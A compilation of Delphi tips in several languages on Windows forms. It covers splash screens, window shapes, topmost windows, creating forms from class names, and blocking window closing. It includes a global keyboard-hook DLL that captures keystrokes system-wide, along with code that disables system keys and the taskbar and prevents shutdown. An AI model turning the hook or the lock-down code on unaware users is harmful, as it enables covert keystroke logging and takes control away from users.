procedure TfrmFoobar.DoRestore(Sender: TObject);
begin
Application.ShowMainForm := True;
//Восстанавливаем приложение
Perform(wm_SysCommand, sc_Restore, 0);
//Гарантируем правильную перерисовку всех компонентов
Show;
//Убираем временного обработчика события чтобы не вызывался в будущем
Application.OnRestore := nil;
end;
initialization
//Здесь прячем минимизированную главную форму
Application.ShowMainForm := False;
end.
Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить
в false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными!
Но был найден способ избежать этого!
private
{ Private declarations }
procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
if M.Result = htClient then
M.Result := htCaption;
end;
Например вы отключили Ctrl+Alt+Delete, сделали неактивной кнопку закрытия окна, удалили саму команду "Закрыть" в
системном меню ("модификация системного меню") - всё это мы уже знаем как делать, но... глупый ламерюга может
попросту нажать Alt+F4... вот это у нас ещё не учтено! Так как же запретить закрытие окна?
Делать это будем так: вызываем событие OnCloseQuery для формы и пишем туда два слова!!!
CanClose:=false;
Посмотрите внимательнее на параметры, переданные в вызванном нами событии. Там вы и увидите то самое "CanClose",
которое мы использовали. Всё довольно таки легко: если этот параметр установить в false пользователь не сможет
закрыть окно, в противном случае - сможет. Ну вот теперь мы добились того, что "ждал от нас юзверь"... так не
будем и впредь разочаровывать его!
Кстати, чуть не забыл... даже компьютер нельзя будет выключить, пока не закончит сеанс наша прога!!! Круто!
Почему, если присвоить свойству FormStyle значение fsStayOnTop, форма так и не остается на самом верху?
Просто добавьте application.RestoreTopMosts в обработчик события формы OnPaint. Это ошибка.
Могли бы вы рассказать об этом чуть-чуть поподробнее? Delphi где-то в неправильном месте осуществляет вызов
NormalizeTopMosts?
Borland говорит что это Windows, но это случается когда StayonTop-форма НЕ является главной формой. (Некоторые
английские программисты чтобы получить эту отговорку потратили несколько сотен долларов, звоня в американскую
службу помощи по телефону 1-800).
В нашем примере для решения задачи мы передаем конструктору переменную формы. Затем, при закрытии формы, мы
сбрасываем эту переменную.
Естественно, эта технология подразумевает написание некоторого кода, поэтому, если вы не расположены к этому
действию, пропустите мое дальнейшее повествование.
TMyForm = class(TForm)
...
private
FormVar: ^TMyForm;
public
constructor Create(AOwner: TComponent; var AFormVar: TMyForm);
destructor Destroy; override;
end;
constructor TMyForm.Create(AOwner: TComponent; var AFormVar: TMyForm);
begin
FormVar := @AFormVar;
inherited Create;
.....
end;
destructor TMyForm.Destroy;
begin
FormVar^ := nil;
inherited Destroy;
end;
MyForm := TMyForm.Create(Self, MyForm);
MyOtherForm := TMyForm.Create(Self, MyOtherForm);
Этот код при разрушении окна автоматически сбрасывает все, что вы передаете в AFormVar, в nil.
Как вы, наверное, заметили, частный член FormVar реально является указателем на указатель. Так, читая содержимое
памяти, адрес которой содержится в FormVar, мы реально получаем переменную формы. Таким образом мы можем просто
установить ее в nil.
...поможете мне создать функцию, с помощью которой я передам переменные в TFormClass? Проблема в том, что
MyDlg.Execute() не захотела компилироваться, поскольку, как сообщил мне компилятор, я не могу использовать MyDlg
(определенный как: TForm).
Эта функция может выглядеть примерно так:
function ExecuteDialog( FormClass: TFormClass; var Data ): Boolean;
Я могу вам дать еще один совет: сделать все ваши формы наследниками одного класса, в котором объявлены виртуальные
методы SetData и GetData.
{ ----------------------- }
unit ExecFrms;
interface
uses Forms, Controls;
type
TExecForm = class(TForm)
public
procedure GetData(var Data); virtual; abstract;
procedure SetData(var Data); virtual; abstract;
end;
TExecFormClass = class of TExecForm;
function ExecuteDialog(FormClass: TExecFormClass;
var Data): Boolean;
implementation
function ExecuteDialog(FormClass: TExecFormClass;
var Data): Boolean;
begin
with FormClass.Create(Application) do
try
SetData(Data);
Result := ShowModal = mrOK;
if Result then
GetData(Data);
finally
Release;
end;
end;
end.
{ ----------------------- }
Как вы можете видеть, я поместил функцию ExecuteDialog в тот же самый модуль.
После того как Delphi создаст форму, вы должны в модуле формы сделать четыре вещи:
1. вручную измените предка формы, с TForm на TExecForm;
2. добавьте ExecFrms в список используемых модулей;
3. добавьте тип записи для хранения данных, необходимых диалогу; и
4. перекрыть методы SetData и GetData.
{ ----------------------- }
unit MyDlgs;
interface
uses WinTypes, WinProcs, Classes, Graphics, Forms,
Controls, Buttons, StdCtrls, Spin, ExtCtrls,
ExecFrms;
type
{ Запись для данных, необходимых модальной форме... }
TMyDlgData = record
FormCaption: string;
FormWidth: Integer;
end;
TMyDlg = class(TExecForm)
OKBtn: TBitBtn;
CancelBtn: TBitBtn;
HelpBtn: TBitBtn;
Bevel1: TBevel;
Edit1: TEdit;
SpinEdit1: TSpinEdit;
public
procedure SetData(var Data); override;
procedure GetData(var Data); override;
end;
var
MyDlg: TMyDlg;
implementation
{$R *.DFM}
procedure TMyDlg.SetData(var Data);
begin
with TMyDlgData(Data) do
begin
Edit1.Text := FormCaption;
SpinEdit1.Value := FormWidth;
end;
end;
procedure TMyDlg.GetData(var Data);
begin
with TMyDlgData(Data) do
begin
FormCaption := Edit1.Text;
FormWidth := SpinEdit1.Value;
end;
end;
end.
{ ----------------------- }
Затем создаем и выполняем диалог, который должен выглядеть приблизительно так:
{ Добавьте ExecFrms и MyDlgs в список USES вызывающего модуля. }
procedure TForm1.GetNewCaptionAndWidthBtnClick(Sender: TObject);
var
Data: TMyDlgData;
begin
Data.FormCaption := Caption;
Data.FormWidth := Width;
if ExecuteDialog(TMyDlg, Data) then
begin
Caption := Data.FormCaption;
Width := Data.FormWidth;
end;
end;
Не поверите: данный код работает еще со времён Turbo Vision!
procedure ShowContents(Value: Boolean);
begin
SystemParametersInfo(SPI_SETDRAGFULLWINDOWS, Ord(Value), nil, 0);
end;
// To Show window contents while dragging:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowContents(True);
end;
// To disable this option call the function:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowContents(False);
end;
To select the form when its surface is covered by components, simpy Shift-Click the form.
Manchmal ist eine Form voll bedeckt mit Komponenten und die Form kann nicht mehr per Klick ausgewдhlt werden.
Um sie dennoch schnell auszuwдhlen, einfach die Shift-Taste gedrьckt halten und zugleich einen Maus-Klick irgendwo
auf der Form ausьben.
***
To fine move (a pixel) a selected component:
Press Ctrl whilst pressing the cursor keys.
Um eine ausgewдhlte Komponente einen Pixel zu verschieben, halte die Ctrl-Taste gedrьckt und beweg die Komponente mit
den Pfeiltasten in die gewьnschte Richtung.
***
To fine resize a component:
Press Shift whilst pressing the cursor keys.
Um die Grцsse einer Komponente um einen Pixel zu дndern, halte die Shift-Taste gedrьckt und drьcke die Pfeiltasten, um
die Komponente zu vergrцssern resp. zu verkleinern.
{
Make your application like a game. Full Screen.
Disable all of the system keys.
}
procedure TForm1.FormCreate(Sender: TObject);
var
HTaskbar: HWND;
OldVal: LongInt;
begin
try
// Find handle of TASKBAR
HTaskBar := FindWindow('Shell_TrayWnd', nil);
// Turn SYSTEM KEYS off, Only Win 95/98/ME
SystemParametersInfo(97, Word(True), @OldVal, 0);
// Disable the taskbar
EnableWindow(HTaskBar, False);
// Hide the taskbar
ShowWindow(HTaskbar, SW_HIDE);
finally
with Form1 do
begin
BorderStyle := bsNone;
FormStyle := fsStayOnTop;
Left := 0;
Top := 0;
Height := Screen.Height;
Width := Screen.Width;
end;
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
HTaskbar: HWND;
OldVal: LongInt;
begin
//Find handle of TASKBAR
HTaskBar := FindWindow('Shell_TrayWnd', nil);
//Turn SYSTEM KEYS Back ON, Only Win 95/98/ME
SystemParametersInfo(97, Word(False), @OldVal, 0);
//Enable the taskbar
EnableWindow(HTaskBar, True);
//Show the taskbar
ShowWindow(HTaskbar, SW_SHOW);
end;
{
Hope you like it !
So if you have any problem using these codes
please e-mail me at :
babak_sateli@yahoo.com
Babak Sateli
www.cdcenterco.com
}
function EnumResTypes(hMod: THandle; restype, resname: PChar; Lines: TStrings): BOOL; stdcall;
var
ms: TMemoryStream;
rs: TResourceStream;
S: string;
i: Integer;
begin
Result := True;
SetLength(S, 10000);
if Assigned(resname) then
begin
rs := TResourceStream.Create(hinstance, resname, restype);
try
try
ms := TMemoryStream.Create;
try
ObjectBinaryToText(rs, ms);
SetLength(S, ms.Size);
ms.Position := 0;
ms.read(S[1], ms.Size);
Lines.Add(resname);
Lines.Add('Length of data is ' + IntToStr(Length(S)));
i := Pos(#13, S);
if i > 0 then
begin
SetLength(S, i - 1);
Lines.Add(S);
i := Pos('object', S);
if i > 0 then
begin
Delete(S, 1, i + 6);
i := Pos(' ', S);
if i > 0 then
begin
Lines.Add('Form name is: ' + Copy(S, 1, i - 2));
Delete(S, 1, i);
Lines.Add('Form class is: ' + S);
end;
end
end
else
begin
// Lines.Add('This resource seems not to hold a form');
end;
finally
ms.Free
end;
except
// Lines.Add('This resource is not a form resource');
end;
finally
rs.Free;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not EnumResourceNames(0, RT_RCDATA, @EnumResTypes, Integer(Memo1.Lines)) then
Memo1.Lines.Add('Error, GetLastError Returns ' + IntToHex(GetLastError, 8));
end;
These Events occur at least during the life cycle of a form:
Diese Ereignisse treffen wдhrend des Lebens-Zyklus einer Form mindestens ein:
OnCreate
OnShow
OnPaint
OnActivate
OnResize
OnPaint
OnCloseQuery
OnClose
OnDeactivate
OnHide
OnDestroy
(* Mit dem folgendem Code liegt die Form des Programms diereckt auf
dem Desktop, also immer Hintergrund, selbst wenn sie den Fokus bekommt *)
protected
procedure CreateParams(var Params: TCreateParams); override;
//...
procedure TForm.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
if Assigned(Application.MainForm) then
begin
Params.WndParent := GetDesktopWindow;
Params.Style := WS_CHILD;
end;
end;
The Windows Taskbar function "Minimize all Windows" minimizes all Windows even if they don''t have a minimize button.
The following code will prevent a form from minimizing through windows.
Die Funktion "Alle Fenster minimieren" aus der Windows Taskbar minimiert alle Fenster, auch solche die eigentlich keine
Minimieren-Schaltflдche besitzen. Der folgende Code verhindert das Minimieren eines Fensters.
implementation
procedure TForm1.WMShowWindow(var Msg: TWMShowWindow);
begin
if not Msg.Show then
Msg.Result := 0
else
inherited;
end;
1. Создайте форму и разместите на ней два компонента ListBox.
2. Скопируйте код, показанный ниже.
3. Запустите SysEdit.
4. Запустите форму Delphi. Первый ListBox должен содержать список всех запущенных приложений. Дважды щелкните на
SysEdit и нижний ListBox покажет дочернее MDI-окно программы SysEdit.
unit Wintask1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
ListBox2: TListBox;
procedure FormCreate(Sender: TObject);
procedure ListBox1DblClick(Sender: TObject);
private
function enumListOfTasks(hWindow: hWnd): Bool; export;
function enumListOfChildTasks(hWindow: hWnd): Bool; export;
end;
THoldhWnd = class(TObject)
private
public
hWindow: hWnd;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
enumWindows(@TForm1.EnumListOfTasks, Longint(Self));
if (ListBox1.Items.Count > 0) then
ListBox1.ItemIndex := 0;
end;
function TForm1.enumListOfTasks(hWindow: hWnd): Bool;
var
HoldString: PChar;
WindowStyle: Longint;
IsAChild: Word;
HoldhWnd: THoldhWnd;
begin
GetMem(HoldString, 256);
HoldhWnd := THoldhWnd.Create;
HoldhWnd.hWindow := hWindow;
WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
WindowStyle := WindowStyle and Longint(WS_VISIBLE);
IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);
{Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
if (GetWindowText(hWindow, HoldString, 255) > 0) and
(WindowStyle > 0) and (IsAChild = Word(nil)) then
ListBox1.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
else if (GetClassName(hWindow, HoldString, 255) > 0) and
(WindowStyle > 0) and (IsAChild = Word(nil)) then
ListBox1.Items.AddObject(Concat('<', StrPas(HoldString), '>'),
TObject(HoldhWnd));
FreeMem(HoldString, 256);
HoldhWnd := nil;
Result := TRUE;
end;
function TForm1.enumListOfChildTasks(hWindow: hWnd): Bool;
var
HoldString: PChar;
WindowStyle: Longint;
IsAChild: Word;
HoldhWnd: THoldhWnd;
begin
GetMem(HoldString, 256);
HoldhWnd := THoldhWnd.Create;
HoldhWnd.hWindow := hWindow;
WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
WindowStyle := WindowStyle and Longint(WS_VISIBLE);
IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);
{Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
if (GetWindowText(hWindow, HoldString, 255) > 0) and
(WindowStyle > 0) and (IsAChild <> Word(nil)) then
ListBox2.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
else if (GetClassName(hWindow, HoldString, 255) > 0) and
(WindowStyle > 0) and (IsAChild = Word(nil)) then
ListBox2.Items.AddObject(Concat('<', StrPas(HoldString), '>'),
TObject(HoldhWnd));
FreeMem(HoldString, 256);
HoldhWnd := nil;
Result := TRUE;
end;
procedure TForm1.ListBox1DblClick(Sender: TObject);
begin
enumChildWindows(THoldhWnd(ListBox1.Items.Objects[ListBox1.ItemIndex]).hWindow,
@TForm1.enumListOfChildTasks, Longint(Self));
ListBox2.RePaint;
end;
end.
{
The IsWindowUnicode function
determines whether the specified window is a native Unicode window
The character set of a window is determined by the use of the RegisterClass function.
If the window class was registered with the ANSI version of RegisterClass (RegisterClassA),
the character set of the window is ANSI. If the window class was registered with the Unicode
version of RegisterClass (RegisterClassW), the character set of the window is Unicode.
The system does automatic two-way translation (Unicode to ANSI) for window messages.
For example, if an ANSI window message is sent to a window that uses the Unicode character set,
the system translates that message into a Unicode message before calling the window procedure.
The system calls IsWindowUnicode to determine whether to translate the message.
}
procedure TForm1.Button1Click(Sender: TObject);
begin
{determine if the window is a Unicode window}
if (IsWindowUnicode(Form1.Handle)) then
Button1.Caption := 'This window is a Unicode window'
else
Button1.Caption := 'This window is not a Unicode window'
end;
Я сделал довольно полный набор тестов, результаты которого показаны ниже:
режим показа формы
режим создания формы -------------------------
-------------------- 640S 1024S 1024L
640S,s OK OK B
640S,u OK OK C
1024S,s OK OK B
1024S,u OK OK C
1024L,s A A OK
1024L,u OK OK OK
расшифровка:
640 -> 640x480x256
1024 -> 1024x768x256
S/L -> маленькие/большие шрифты
s/u -> Scaled := True/False
OK: вид выводимой формы такой же, как и во время ее
разработки
A: форма увеличивается относительно управляющих координат
B: форма сокращается относительно управляющих координат
C: форма и элементы управления слишком малы для текста
Вывод после проведенных экспериментов: для того, чтобы вероятность появления формы в том же виде, что она была при
проектировании была высока, разработка ее дизайна должна производиться в системе с установленными большими шрифтами
и со свойством формы Scaled := False.
{
In order to allow very small windows,
you need to override the default behavior for Windows message WM_GETMINMAXINFO.
This message is sent to your window by the OS in order to find out
the minimum and the maximum allowed window size.
You can do this by adding this method procedure to your form:
}
private
procedure GetMinMaxInfo(var Msg: TWMGETMINMAXINFO); message WM_GETMINMAXINFO;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.GetMinMaxInfo(var Msg: TWMGETMINMAXINFO);
begin
inherited;
with Msg.MinMaxInfo^ do
begin
ptMinTrackSize.X := 0; // min. Width
ptMinTrackSize.Y := 0; // min. Height
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{ no systemmenu }
BorderIcons := BorderIcons - [biSystemMenu];
{ set the form's width & height }
Width := 80;
Height := 60;
end;
Перед появлением главного окна во всех серьёзных приложениях сначала появляется заставка. Теперь и у Вас есть
возможность повыёживаться! Для создания заставки выполняем следующую последовательность действий:
Начинаем создание нового приложение командой “New Application” (“Новое приложение”) из меню “File” (“Файл”)
Добавьте ещё одну форму: “New Form”(“Новая форма”) из меню “File” (“Файл”). Это окно и будет заставкой. У него
нужно убрать рамку с полосой заголовка, установив свойство “BorderStyle” в “bsNone”. Теперь можно смело разработать
дизайн окна заставки.
Из меню “Project” (“Проект”) выбрать команду “Options”(“Опции”). Зайти на закладку “Forms”(“Формы”) и Form2 из
списка автоматически создаваемых форм (Auto-Create forms) перенести в список доступных форм (Available forms)
На форму-заставку с закладки System вынести компонент Timer. В его свойстве Interval установить значение 5000, а
в событии OnTimer написать:
Timer1.Enabled := false;
Это сделано для того, чтобы заставка была видна в период указанного времени – 5000 миллисекунд, т.е. 5 секунд.
Перейти в файл проекта, нажав Ctrl+F12 и выбрав Project1. Исходный код должен выглядеть так:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Теперь мы внесём сюда немного изменений и код должен стать таким:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Form2 := TForm2.Create(Application);
Form2.Show;
Form2.Update;
while Form2.Timer1.Enabled do
Application.ProcessMessages;
Application.CreateForm(TForm1, Form1);
Form2.Hide;
Form2.Free;
Application.Run;
end.
Обзор
В данном документе рассказывается о том, как в Delрhi можно создать экземпляр формы на основе строки, содержащей имя
типа. Код примера прилагается.
На кого расчитан данный документ?
На любого программиста, имеющего начальные знания для работы с Delphi. Имеет отношение к любой версии Delphi.
Создание формы на основе строки
Чтобы можно было создать экземпляр формы на основе строки, содержащей имя типа, вы должны в первую очередь
зарегистрировать данный тип в Delphi. Это выполняется функцией "RegisterClass". RegisterClass описан следующим
образом:
procedure RegisterClass(AClass: TPersistentClass);
AClass - класс TPersistent. Другими словами, класс, который вы хотите регистрировать, в какой-то точке должен
наследоваться от TPersistent. Поскольку все элементы управления Delphi, включая формы, соблюдают это требование,
то проблем быть не должно. Но такой способ не пройдет, если регистрируемые классы наследуются непосредственно от
TObject.
После регистрации класса, вы можете найти указатель на тип, передавая строку в FindClass. Функция возвратит ссылку
на класс, которую можно использовать для создания формы. Небольшой поясняющий пример:
procedure TForm1.Button2Click(Sender: TObject);
var
b : TForm;
f : TFormClass;
begin
f := TFormClass(findClass('Tform2'));
b := f.create(self);
b.show;
end;
Данный код создаст тип TForm2, который мы зарегистрировали с помощью RegisterClass.
Демонстрационный проект
Создайте новый проект, затем добавьте 4 формы так, чтобы в общей сложности получилось 5. В реальном проекте вы
можете заполнить их необходимыми элементами управления, для данного же примера это не важно.
В первой форме разместите поле редактирования и кнопку. Удалите все формы, кроме главной, из списка AutoCreate.
Наконец, скопируйте приведенный ниже код в unit1, он позволит вам создавать форму по имени типа класса, введенному
в поле редактирования.
unit Unit1;
interface
uses
Unit2, Unit3, Unit4, Unit5, Windows, Messages,
SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterClass(Tform2);
RegisterClass(Tform3);
RegisterClass(Tform4);
RegisterClass(Tform5);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
f: Tformclass;
begin
f := tformclass(findClass(edit1.text));
with f.create(self) do
show;
end;
Как насчет этого? (допустим что str содержит 'TForm2' и т.п.)?
procedure TForm1.Button1Click(Sender: TObject);
begin
with TFormClass(FindClass(str)).Create(Application) do
try
ShowModal;
finally
Free;
end;
end;
initialization
RegisterClasses([TForm2,TForm3,TForm4]);
end.
Die CreateRoundRectRgn lasst eine Form mit abgerundeten Ecken erscheinen.
The CreateRoundRectRgn function creates a rectangular
region with rounded corners
}
procedure TForm1.FormCreate(Sender: TObject);
var
rgn: HRGN;
begin
Form1.Borderstyle := bsNone;
rgn := CreateRoundRectRgn(0,// x-coordinate of the region's upper-left corner
0, // y-coordinate of the region's upper-left corner
ClientWidth, // x-coordinate of the region's lower-right corner
ClientHeight, // y-coordinate of the region's lower-right corner
40, // height of ellipse for rounded corners
40); // width of ellipse for rounded corners
SetWindowRgn(Handle, rgn, True);
end
{ The CreatePolygonRgn function creates a polygonal region. }
procedure TForm1.FormCreate(Sender: TObject);
const
C = 20;
var
Points: array [0..7] of TPoint;
h, w: Integer;
begin
h := Form1.Height;
w := Form1.Width;
Points[0].X := C; Points[0].Y := 0;
Points[1].X := 0; Points[1].Y := C;
Points[2].X := 0; Points[2].Y := h - c;
Points[3].X := C; Points[3].Y := h;
Points[4].X := w - c; Points[4].Y := h;
Points[5].X := w; Points[5].Y := h - c;
Points[6].X := w; Points[6].Y := C;
Points[7].X := w - C; Points[7].Y := 0;
SetWindowRgn(Form1.Handle, CreatePolygonRgn(Points, 8, WINDING), True);
end;
{
This article shows by example how to suppress the maximize and
minimize buttons on an form at runtime.
To disable an form's Minimize and Maximize buttons,
you need to use the SetWindowLong Windows API
function to change the style of the window.
}
{ Dieses Beispiel zeigt, wie man die Schaltflachen zur Minimierung,
Maximierung einer Form zur Laufzeit verstecken kann.
Man braucht dafur die SetWindowLong Windows API um den Stil
des Fensters zu andern.
Der Code kann auch fur non-VCL Anwendungen gebraucht werden.
}
// Add the following code to the OnCreate event
// procedure for your form (TForm1):
procedure TForm1.FormCreate(Sender: TObject);
var
l: DWORD;
begin
l := GetWindowLong(Self.Handle, GWL_STYLE);
l := l and not (WS_MINIMIZEBOX);
l := l and not (WS_MAXIMIZEBOX);
l := SetWindowLong(Self.Handle, GWL_STYLE, l);
end;
Обратите внимание на методы FindClass/GetClass и RegisterClass. С помощью их вы можете эффективно перевести строку
(имя класса формы) в тип класса этой формы, и затем выполнить такую команду:
MyForm := TForm(FindClass(SomeString)).Create(Self);
with Self do {Form1,...}
SetWindowPos(Handle, // handle to window
HWND_TOPMOST, // placement-order handle {*}
Left, // horizontal position
Top, // vertical position
Width,
Height,
// window-positioning options
SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);
{* Other Values: }
HWND_BOTTOM
Places the window at the bottom of the Z order.
HWND_NOTOPMOST
Places the window above all non-topmost windows
HWND_TOP
Places the window at the top of the Z order.
HWND_TOPMOST
Places the window above all non-topmost windows.
The window maintains its topmost position even when it is deactivated.
//Так как ловушка глобальная, то естественно нужно DLL
library HookLib;
uses
madExcept,
Windows,
Messages,
SysUtils;
type
PHookRec = ^THookRec;
THookRec = record
AppHnd: Integer;
MemoHnd: Integer;
end;
var
Hooked: Boolean;
hKeyHook, hMemo, hMemFile, hApp: HWND;
PHookRec1: PHookRec;
function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;
var
KeyState1: TKeyBoardState;
AryChar: array[0..1] of Char;
Count: Integer;
begin
Result := 0;
if Code = HC_NOREMOVE then Exit;
Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);
{I moved the CallNextHookEx up here but if you want to block
or change any keys then move it back down}
if Code < 0 then
Exit;
if Code = HC_ACTION then
begin
if ((KeyStroke and (1 shl 30)) <> 0) then
if not IsWindow(hMemo) then
begin
{I moved the OpenFileMapping up here so it would not be opened
unless the app the DLL is attatched to gets some Key messages}
hMemFile := OpenFileMapping(FILE_MAP_WRITE, False, 'Global7v9k');
PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
if PHookRec1 <> nil then
begin
hMemo := PHookRec1.MemoHnd;
hApp := PHookRec1.AppHnd;
end;
end;
if ((KeyStroke and (1 shl 30)) <> 0) then
begin
GetKeyboardState(KeyState1);
Count := ToAscii(VirtualKey, KeyStroke, KeyState1, AryChar, 0);
if Count = 1 then
begin
SendMessage(hMemo, WM_CHAR, Ord(AryChar[0]), 0);
{I included 2 ways to get the Charaters, a Memo Hnadle and
a WM_USER+1678 message to the program}
PostMessage(hApp, WM_USER + 1678, Ord(AryChar[0]), 0);
end;
end;
end;
end;
function StartHook(MemoHandle, AppHandle: HWND): Byte; export;
begin
Result := 0;
if Hooked then
begin
Result := 1;
Exit;
end;
if not IsWindow(MemoHandle) then
begin
Result := 4;
Exit;
end;
hKeyHook := SetWindowsHookEx(WH_KEYBOARD, KeyHookFunc, hInstance, 0);
if hKeyHook > 0 then
begin
{you need to use a mapped file because this DLL attatches to every app
that gets windows messages when it's hooked, and you can't get info except
through a Globally avaiable Mapped file}
hMemFile := CreateFileMapping($FFFFFFFF, nil,
PAGE_READWRITE,
0,
SizeOf(THookRec),
//SizeOf(Integer),
'Global7v9k');
PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
hMemo := MemoHandle;
PHookRec1.MemoHnd := MemoHandle;
hApp := AppHandle;
PHookRec1.AppHnd := AppHandle;
{set the Memo and App handles to the mapped file}
Hooked := True;
end
else
Result := 2;
end;
function StopHook: Boolean; export;
begin
if PHookRec1 <> nil then
begin
UnmapViewOfFile(PHookRec1);
CloseHandle(hMemFile);
PHookRec1 := nil;
end;
if Hooked then
Result := UnhookWindowsHookEx(hKeyHook)
else
Result := True;
Hooked := False;
end;
procedure EntryProc(dwReason: DWORD);
begin
if (dwReason = Dll_Process_Detach) then
begin
if PHookRec1 <> nil then
begin
UnmapViewOfFile(PHookRec1);
CloseHandle(hMemFile);
end;
UnhookWindowsHookEx(hKeyHook);
end;
end;
exports
StartHook,
StopHook;
begin
PHookRec1 := nil;
Hooked := False;
hKeyHook := 0;
hMemo := 0;
DLLProc := @EntryProc;
EntryProc(Dll_Process_Attach);
end.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2. Следующий код использует заготовленную ранее DLL
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
but_StartHook: TButton;
but_StopHook: TButton;
label1: TLabel;
Memo1: TMemo;
procedure but_StartHookClick(Sender: TObject);
procedure but_StopHookClick(Sender: TObject);
private
{ Private declarations }
hLib2: THandle;
DllStr1: string;
procedure DllMessage(var Msg: TMessage); message WM_USER + 1678;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.DllMessage(var Msg: TMessage);
begin
if (Msg.wParam = 8) or (Msg.wParam = 13) then Exit;
{the 8 is the Backspace and the 13 if the Enter key, You'll need to
do some special handleing for a string}
DllStr1 := DllStr1 + Chr(Msg.wParam);
label1.Caption := DllStr1;
end;
procedure TForm1.but_StartHookClick(Sender: TObject);
type
TStartHook = function(MemoHandle, AppHandle: HWND): Byte;
var
StartHook1: TStartHook;
SHresult: Byte;
begin
hLib2 := LoadLibrary('HookLib.dll');
@StartHook1 := GetProcAddress(hLib2, 'StartHook');
if @StartHook1 = nil then Exit;
SHresult := StartHook1(Memo1.Handle, Handle);
if SHresult = 0 then ShowMessage('the Key Hook was Started, good');
if SHresult = 1 then ShowMessage('the Key Hook was already Started');
if SHresult = 2 then ShowMessage('the Key Hook can NOT be Started, bad');
if SHresult = 4 then ShowMessage('MemoHandle is incorrect');
end;
procedure TForm1.but_StopHookClick(Sender: TObject);
type
TStopHook = function: Boolean;
var
StopHook1: TStopHook;
hLib21: THandle;
begin
@StopHook1 := GetProcAddress(hLib2, 'StopHook');
if @StopHook1 = nil then
begin
ShowMessage('Ошибка');
Exit;
end;
if StopHook1 then
ShowMessage('Ловушка удалена');
FreeLibrary(hLib2);
//В XP эту функцию нужно использовать два раза
FreeLibrary(hLib2);
end;
end.
Ну а потом методом сравнения нажатых клавиш с нужным тебе сочитанием и отправляешь новые данные:
procedure TForm1.Button1Click(Sender: TObject);
var
wnd: HWND;
i: Integer;
s: string;
begin
wnd := FindWindow('notepad', nil);//Ищем нужное окно
if wnd <> 0 then
begin
wnd := FindWindowEx(wnd, 0, 'Edit', nil);
//Текст, который посылаем в notePad
s := 'Hello';
for i := 1 to Length(s) do
SendMessage(wnd, WM_CHAR, Word(s[i]), 0);
//Эмуляция Enter
PostMessage(wnd, WM_KEYDOWN, VK_RETURN, 0);
//Эмуляция пробел
PostMessage(wnd, WM_KEYDOWN, VK_SPACE, 0);
end;
end;
//Для отправки в WordPad немного подругому:
{...}
wnd := FindWindow('WordPadClass', nil);
if wnd <> 0 then
begin
wnd := FindWindowEx(wnd, 0, 'RICHEDIT', nil);
{...}
Надеюсь разберёшься
procedure Otsev(filename : pchar);
var
t, w : TStringList;
i: integer;
begin
t := TStringList.Create;
w := TStringList.Create;
t.LoadFromFile(filename);
w.Sorted := true;
w.Duplicates := dupIgnore;
for i := 0 to t.Count-1 do
w.Add(t.Strings[i]);
w.SaveToFile('Sorted_'+filename);
Application.ProcessMessages();
t.Free;
w.Free;
end;
Итак. Вызывается процедура в которую передается имя файла содержащего n - ное кол-во строк, причем некоторые из
них повторяются. Процедура создает два стринглиста. В первый загружает этот файл, а второй оставляет пустым,
устанавливая ему свойства
Sorted в true и Duplicates в dupIgnore. Осталось пройтись по строкам первого стринглиста загоняя их во второй.
В него будут попадать строки и автоматически сортироваться по алфавиту, а если будут попадаться строки которые
уже присутствуют в нем, то они будут просто игнорироваться. Все. Конечный результат сохраняется в файл с таким
же названием и расширением, но с припиской 'Sorted_' перед названием.
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение.
Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:
program joke;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
end.
